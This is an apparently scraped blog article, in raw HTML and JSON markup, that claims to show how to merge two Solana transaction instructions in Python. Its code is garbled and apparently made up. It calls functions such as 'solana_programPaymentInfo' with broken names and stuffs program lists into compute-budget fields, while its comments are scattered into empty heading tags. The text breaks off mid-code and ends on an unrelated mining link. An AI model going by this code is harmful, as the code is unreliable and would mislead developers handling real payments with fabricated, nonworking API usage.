In this article, we&#8217;ll explore how to merge two transaction instructions into one transaction using Python.<\/p>\n<\/p>\n<p><strong>Prerequisites<\/strong><\/p>\n<\/p>\n<p>Before diving into the code, ensure you have the following:<\/p>\n<\/p>\n<ul>\n<li>A Solana node (e.g., Solana CLI or a local development environment)<\/li>\n<\/ul>\n<ul>\n<li>The <code>solana-program<\/code> library installed (<code>pip install solana-program<\/code>)<\/li>\n<\/ul>\n<ul>\n<li>Familiarity with Solana&#8217;s instruction set and its various types<\/li>\n<\/ul>\n<p><strong>Understanding Transaction Instructions<\/strong><\/p>\n<\/p>\n<p>In Solana, a transaction consists of multiple instructions that perform various operations. Each instruction is represented as an object containing relevant information, such as the program ID, compute budget instructions, and more.<\/p>\n<\/p>\n<p>For this example, we&#8217;ll use the <code>solana-program<\/code> library to create two separate transactions with different instructions. We will then merge these transactions into a single transaction using Python.<\/p>\n<\/p>\n<p><strong>Merging Transactions in Solana using Python<\/strong><\/p>\n<\/p>\n<p>&#8220;`python<\/p>\n<\/p>\n<p>import solana_program<\/p>\n<\/p>\n<h1><\/h1>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/jcgfQEbptdo\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>Define the initial transactions as dictionary-like objects<\/p>\n<\/p>\n<p>instruction1 = {<\/p>\n<\/p>\n<p>    &#8216;program_id&#8217;: &#8216;my_token_program&#8217;,<\/p>\n<\/p>\n<p>    &#8216;compute_budget&#8217;: [{&#8216;program_id&#8217;: &#8216;my_swap_program&#8217;, &#8216;args&#8217;: [&#8216;token_1&#8217;]}, {&#8216;program_id&#8217;: &#8216;my_other_swap_program&#8217;, &#8216;args&#8217;: [&#8216;token_2&#8217;]}],<\/p>\n<\/p>\n<p>    &#8216;payment_info&#8217;: solana_programPaymentInfo(<\/p>\n<\/p>\n<p>        1000,  <\/p>\n<h1><\/h1>\n<p>payment amount in the base unit (e.g., SOL)<\/p>\n<\/p>\n<p>        10,     <\/p>\n<h1><\/h1>\n<p>payment token<\/p>\n<\/p>\n<p>        solana_programPaymentType(<\/p>\n<\/p>\n<p>            1,     <\/p>\n<h1><\/h1>\n<p>payment type (e.g., payment or transfer)<\/p>\n<\/p>\n<p>            0.01    <\/p>\n<h1><\/h1>\n<p>payment rate<\/p>\n<\/p>\n<p>        )<\/p>\n<\/p>\n<p>    )<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>instruction2 = {<\/p>\n<\/p>\n<p>    &#8216;program_id&#8217;: &#8216;my_swap_program&#8217;,<\/p>\n<\/p>\n<p>    &#8216;compute_budget&#8217;: [{&#8216;program_id&#8217;: &#8216;my_other_swap_program&#8217;, &#8216;args&#8217;: [&#8216;token_2&#8217;]}],<\/p>\n<\/p>\n<p>    &#8216;payment_info&#8217;: solana_programPaymentInfo(<\/p>\n<\/p>\n<p>        1000,  <\/p>\n<h1><\/h1>\n<p>payment amount in the base unit (e.g., SOL)<\/p>\n<\/p>\n<p>        10,     <\/p>\n<h1><\/h1>\n<p>payment token<\/p>\n<\/p>\n<p>        solana_programPaymentType(<\/p>\n<\/p>\n<p>            1,     <\/p>\n<h1><\/h1>\n<p>payment type (e.g., payment or transfer)<\/p>\n<\/p>\n<p>            0.01    <\/p>\n<h1><\/h1>\n<p>payment rate<\/p>\n<\/p>\n<p>        )<\/p>\n<\/p>\n<p>    )<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<h1><\/h1>\n<p>Merge the transactions into a single transaction using Python&#8217;s built-in functions<\/p>\n<\/p>\n<p>def merge_transactions(transaction1, transaction2):<\/p>\n<\/p>\n<h1><\/h1>\n<p>Create a new transaction object<\/p>\n<\/p>\n<p>    transaction = solana_program.Transaction(<\/p>\n<\/p>\n<p>        program_id=transaction1[&#8216;program_id&#8217;],<\/p>\n<\/p>\n<p>        accounts=[{<\/p>\n<\/p>\n<p>            &#8216;account_id&#8217;: &#8216;m&#8217;,  <\/p>\n<h1><\/h1>\n<p>sender account ID<\/p>\n<\/p>\n<p>            &#8216;key&#8217;: solana_programKey(<\/p>\n<\/p>\n<p>                0,<\/p>\n<\/p>\n<p>                &#8216;m&#8217;,<\/p>\n<\/p>\n<p>                1,  <\/p>\n<h1><\/h1>\n<p>key version (e.g., 1 or 2)<\/p>\n<\/p>\n<p>                &#8216;m&#8217;<\/p>\n<\/p>\n<p>            )<\/p>\n<\/p>\n<p>        }],<\/p>\n<\/p>\n<p>        programs=[transaction1[&#8216;program_id&#8217;], transaction2[&#8216;program_id&#8217;]]<\/p>\n<\/p>\n<p>    )<\/p>\n<\/p>\n<h1><\/h1>\n<p>Combine the two transactions into one<\/p>\n<\/p>\n<p>    combined_transaction = solana_program.Transaction(<\/p>\n<\/p>\n<p>        program_id=transaction1[&#8216;program_id&#8217;],<\/p>\n<\/p>\n<p>        accounts=[<\/p>\n<\/p>\n<p>            {<\/p>\n<\/p>\n<p>                &#8216;account_id&#8217;: &#8216;combined_m&#8217;,  <\/p>\n<h1><\/h1>\n<p>sender account ID<\/p>\n<\/p>\n<p>                &#8216;key&#8217;: solana_programKey(<\/p>\n<\/p>\n<p>                    0,<\/p>\n<\/p>\n<p>                    &#8216;combined_m&#8217;,<\/p>\n<\/p>\n<p>                    1,  <\/p>\n<h1><\/h1>\n<p>key version (e.g., 1 or 2)<\/p>\n<\/p>\n<p>                    &#8216;combined_m&#8217;<\/p>\n<\/p>\n<p>                )<\/p>\n<\/p>\n<p>            },<\/p>\n<\/p>\n<p>            {<\/p>\n<\/p>\n<p>                &#8216;account_id&#8217;: &#8216;m&#8217;,  <\/p>\n<h1><\/h1>\n<p>sender account ID<\/p>\n<\/p>\n<p>                &#8216;key&#8217;: solana_programKey(<\/p>\n<\/p>\n<p>                    0,<\/p>\n<\/p>\n<p>                    &#8216;m&#8217;,<\/p>\n<\/p>\n<p>                    1,  <\/p>\n<h1><\/h1>\n<p>key version (e.g.<\/p>\n<p><a href=\"https:\/\/www.easytripnet.com\/ethereum-can-antminer-l3-mine-any-scrypt-cash-or-simply-lite-coin\/\">Ethereum Antminer Scrypt Cash<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I can provide you with an article on how to merge two transaction instructions into one transaction on Solana using Python.
